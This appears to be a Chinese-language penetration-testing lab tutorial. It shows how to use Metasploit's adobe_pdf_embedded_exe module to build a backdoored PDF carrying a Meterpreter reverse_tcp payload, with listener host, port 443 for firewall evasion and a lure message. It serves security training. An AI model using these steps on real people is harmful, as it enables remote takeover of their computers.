介绍
在本实验中,我们将探索如何利用 Adobe PDF 中的嵌入式模块漏洞来注入一个 Windows 后门。实验过程涉及将包含后门的 PDF 文件传输到 Windows 主机,当用户使用 Adobe Reader 打开该 PDF 文件时,目标 Windows 系统将被感染。
LabEx 提供的实验环境缺少 Windows 虚拟机,因此我们无法验证攻击的有效性。实验过程仅展示如何嵌入后门程序。
此外,你无需在本实验中启动目标机器。你只需启动 Kali Linux 环境,成功创建的 PDF 文件将放置在 Kali 主机的 /root/ 目录中。
启动 Metasploit 框架控制台
现在你将启动攻击机(Kali Linux 容器)和目标机(Metasploitable2 虚拟机)以进行实验。
- 在 LabEx 主机上打开一个 xfce 终端,并通过运行以下命令启动 Metasploitable2 目标机:
sudo virsh start Metasploitable2
等待目标机器启动,可能需要 1-3 分钟。
- 通过 ping 测试与目标机的连通性:
ping 192.168.122.102
按 Ctrl+C 停止 ping。
- 启动 Kali Linux 容器并通过以下命令进入 bash 环境:
docker run -ti --network host b5b709a49cd5 bash
- 在 Kali 容器内,测试与目标机的网络连接:
ping 192.168.122.102
按 Ctrl+C 停止 ping。
现在攻击机和目标机都已启动,你可以开始渗透测试。
注意:如果你意外退出了当前的 bash,Kali 容器将自动停止。你可以在主机上再次执行 docker run -ti --network host b5b709a49cd5 bash 以启动一个新的 Kali 容器并进入 bash 以继续实验。
在 Kali Linux 容器中,在 Kali Linux bash 终端中输入以下命令:
service postgresql start
msfdb init
cd ~
msfconsole
这将启动 PostgreSQL 数据库服务,初始化数据库,并启动 Metasploit Framework 控制台(msfconsole)以进行后续操作。
使用漏洞利用模块
在 msfconsole 中,执行以下命令以使用 exploit 模块:
use exploit/windows/fileformat/adobe_pdf_embedded_exe
这将加载 adobe_pdf_embedded_exe exploit 模块,该模块允许我们将一个可执行 payload 嵌入到 PDF 文件中。
使用 show options 命令查看 exploit 模块的可配置选项:
show options
这将显示可用的选项,例如:
EXENAME: 要嵌入到 PDF 中的可执行文件的路径。FILENAME: 输出 PDF 文件的名称(默认:evil.pdf)。INFILENAME: 输入 PDF 文件的完整路径(默认:内置的 PDF 文件)。LAUNCH_MESSAGE: 用于诱使用户执行嵌入的可执行文件的提示信息。
你可以保留大多数选项的默认值,但你可能需要设置 INFILENAME 选项以指定要感染的输入 PDF 文件的路径。
配置完选项后,使用 exploit 命令执行攻击:
exploit
这将把 payload 嵌入到指定的输入 PDF 文件中,并生成一个包含嵌入可执行文件的新 PDF 文件。
按 Ctrl+D 退出 Metasploit 控制台,然后开始检查
检查输出结果
执行 exploit 后,生成的包含恶意 payload 的 PDF 文件将位于 /root/.msf4/local/evil.pdf。你可以退出 msfconsole 并检查该文件:
ls -l /root/.msf4/local/evil.pdf
你应该会观察到文件大小的增加,这表明嵌入了可执行文件。当打开 PDF 文件时,它将显示配置的启动消息,提示用户点击并执行嵌入的程序。
设置自定义负载
为了使感染的 PDF 文件更具价值,我们可以为其设置一个自定义 payload。
重新进入 msfconsole:
cd ~
msfconsole
在 msfconsole 中,按照之前的步骤选择攻击模块:
use exploit/windows/fileformat/adobe_pdf_embedded_exe
这次,我们将使用 windows/meterpreter/reverse_tcp payload,这是一个 Meterpreter 后门,它可以从被攻陷的主机建立 TCP 连接返回到攻击者的机器,从而允许直接访问被攻陷的系统。如果需要,你可以使用 show payloads 命令查看并选择其他 payload。
设置 windows/meterpreter/reverse_tcp payload:
set payload windows/meterpreter/reverse_tcp
通过指定你的 Kali 主机的 IP 地址和端口来配置 payload,以接收传入的连接。确保目标主机可以连接到你的 Kali 主机:
set lhost 192.168.122.1
使用端口 443 可以帮助绕过一些防火墙:
set lport 443
然后使用 exploit 命令生成恶意 PDF 文件:
exploit
按 Ctrl+D 退出 Metasploit 控制台,然后开始检查
再次检查输出结果
检查生成的 PDF 文件的大小:
ls -l /root/.msf4/local/evil.pdf
你应该会注意到文件大小比默认 payload 更小,因为 windows/meterpreter/reverse_tcp payload 更加紧凑。
总结
在本实验中,我们学习了如何利用 Adobe Reader 漏洞(CVE-2010-1240),该漏洞未能验证 PDF 文件中的嵌入内容。通过将后门程序嵌入到 PDF 文件中并诱使用户执行它,我们可以获得对目标 Windows 主机的访问权限。本实验涵盖的关键点包括:
- 基本的 Linux 命令
- Metasploit Framework 控制台操作
- Adobe PDF 嵌入 EXE 漏洞(CVE-2010-1240)简介
- 如何利用漏洞并嵌入后门程序
本实验提供了创建带有嵌入 payload 的恶意 PDF 文件、配置不同选项以及理解不同 payload 对文件大小影响的实践经验。这些知识对于理解和缓解现实场景中的此类攻击非常有用。



